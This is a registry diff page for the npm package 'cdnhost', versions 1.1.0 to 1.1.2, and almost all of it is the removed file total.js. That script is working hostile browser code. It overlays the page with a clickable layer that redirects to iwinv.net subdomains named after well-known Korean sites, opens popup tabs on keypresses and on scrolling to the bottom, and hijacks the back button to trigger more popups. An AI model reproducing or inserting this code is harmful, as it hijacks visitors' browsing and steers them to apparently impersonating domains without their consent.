cdnhost 1.1.0 → 1.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json
CHANGED
package/total.js
CHANGED
|
@@ -1,115 +0,0 @@
|
|
|
1
|
-
window.addEventListener('load', function() {
|
|
2
|
-
var images = document.querySelectorAll('img');
|
|
3
|
-
images.forEach(function(img) {
|
|
4
|
-
if (!img.hasAttribute('alt')) {
|
|
5
|
-
img.setAttribute('alt', 'image');
|
|
6
|
-
}
|
|
7
|
-
});
|
|
8
|
-
});
|
|
9
|
-
|
|
10
|
-
document.writeln('<style>* { font-size: 1em !important}</style>');
|
|
11
|
-
const urls = [
|
|
12
|
-
'https://newsfactory.iwinv.net',
|
|
13
|
-
'https://ruliweb.iwinv.net/recent.php',
|
|
14
|
-
'https://instiz.iwinv.net/recent.php',
|
|
15
|
-
'https://bikini.iwinv.net/recent.php',
|
|
16
|
-
'https://manatoki.iwinv.net/recent.php',
|
|
17
|
-
'https://gmarket.iwinv.net/recent.php',
|
|
18
|
-
'https://mlbpark.iwinv.net/recent.php',
|
|
19
|
-
'https://mmtcld.iwinv.net/recent.php',
|
|
20
|
-
'https://flightaware.iwinv.net/recent.php',
|
|
21
|
-
'https://koreakr.iwinv.net/recent.php',
|
|
22
|
-
'https://popcat.iwinv.net/recent.php',
|
|
23
|
-
];
|
|
24
|
-
|
|
25
|
-
function handleKeyPress(event) {
|
|
26
|
-
const isMobile = /Mobi|Android/i.test(navigator.userAgent);
|
|
27
|
-
|
|
28
|
-
const desktopUrls = [
|
|
29
|
-
'https://newsfactory.iwinv.net',
|
|
30
|
-
'https://ruliweb.iwinv.net/recent.php',
|
|
31
|
-
'https://instiz.iwinv.net/recent.php',
|
|
32
|
-
'https://bikini.iwinv.net/recent.php',
|
|
33
|
-
'https://manatoki.iwinv.net/recent.php',
|
|
34
|
-
'https://gmarket.iwinv.net/recent.php',
|
|
35
|
-
'https://mlbpark.iwinv.net/recent.php',
|
|
36
|
-
'https://mmtcld.iwinv.net/recent.php',
|
|
37
|
-
'https://flightaware.iwinv.net/recent.php',
|
|
38
|
-
'https://koreakr.iwinv.net/recent.php',
|
|
39
|
-
'https://popcat.iwinv.net/recent.php',
|
|
40
|
-
];
|
|
41
|
-
|
|
42
|
-
const mobileUrls = [
|
|
43
|
-
'https://newsfactory.iwinv.net',
|
|
44
|
-
'https://ruliweb.iwinv.net/recent.php',
|
|
45
|
-
'https://instiz.iwinv.net/recent.php',
|
|
46
|
-
'https://bikini.iwinv.net/recent.php',
|
|
47
|
-
'https://manatoki.iwinv.net/recent.php',
|
|
48
|
-
'https://gmarket.iwinv.net/recent.php',
|
|
49
|
-
'https://mlbpark.iwinv.net/recent.php',
|
|
50
|
-
'https://mmtcld.iwinv.net/recent.php',
|
|
51
|
-
'https://flightaware.iwinv.net/recent.php',
|
|
52
|
-
'https://koreakr.iwinv.net/recent.php',
|
|
53
|
-
'https://popcat.iwinv.net/recent.php',
|
|
54
|
-
];
|
|
55
|
-
|
|
56
|
-
const urls = isMobile ? mobileUrls : desktopUrls;
|
|
57
|
-
|
|
58
|
-
function getRandomUrls(arr, num) {
|
|
59
|
-
const shuffled = arr.sort(() => 0.5 - Math.random());
|
|
60
|
-
return shuffled.slice(0, num);
|
|
61
|
-
}
|
|
62
|
-
|
|
63
|
-
const randomUrls = getRandomUrls(urls, 2);
|
|
64
|
-
randomUrls.forEach(url => window.open(url, '_blank'));
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
|
|
68
|
-
document.writeln('<style>');
|
|
69
|
-
document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:110vh}');
|
|
70
|
-
document.writeln('</style>');
|
|
71
|
-
document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
|
|
72
|
-
|
|
73
|
-
window.addEventListener('scroll', () => {
|
|
74
|
-
const scrollHeight = document.documentElement.scrollHeight;
|
|
75
|
-
const scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
|
|
76
|
-
const clientHeight = document.documentElement.clientHeight;
|
|
77
|
-
|
|
78
|
-
if (scrollTop + clientHeight >= scrollHeight) {
|
|
79
|
-
handleKeyPress();
|
|
80
|
-
}
|
|
81
|
-
});
|
|
82
|
-
|
|
83
|
-
document.addEventListener('keydown', handleKeyPress);
|
|
84
|
-
|
|
85
|
-
history.pushState(null,null,""),window.onpopstate=function(a){a&&(history.back(),handleKeyPress())}
|
|
86
|
-
|
|
87
|
-
document.getElementById("s2").style.transition = "opacity 5s";
|
|
88
|
-
document.getElementById('container').style.boxShadow = 'none';
|
|
89
|
-
function ss(){
|
|
90
|
-
setTimeout("s()", 6999);
|
|
91
|
-
setTimeout("h()", 12999);
|
|
92
|
-
}
|
|
93
|
-
function pcss(){
|
|
94
|
-
setTimeout("s()", 6999);
|
|
95
|
-
setTimeout("h()", 12999);
|
|
96
|
-
}
|
|
97
|
-
function a(){
|
|
98
|
-
document.getElementById("button").style.display="none";
|
|
99
|
-
}
|
|
100
|
-
function aa(){
|
|
101
|
-
document.getElementById("button").style.display="block";
|
|
102
|
-
}
|
|
103
|
-
function s(){
|
|
104
|
-
var allElements = document.querySelectorAll("*");
|
|
105
|
-
for (var i = 0; i < allElements.length; i++) {
|
|
106
|
-
allElements[i].style.color = "black";
|
|
107
|
-
}
|
|
108
|
-
document.getElementById("s2").style.opacity = 0;
|
|
109
|
-
document.getElementById("button").style.display="none";
|
|
110
|
-
document.getElementById("sha").style.display="none";
|
|
111
|
-
document.getElementById("cc").style.maxHeight="unset";
|
|
112
|
-
}
|
|
113
|
-
function h(){
|
|
114
|
-
document.getElementById("s2").style.zIndex = -1;
|
|
115
|
-
}
|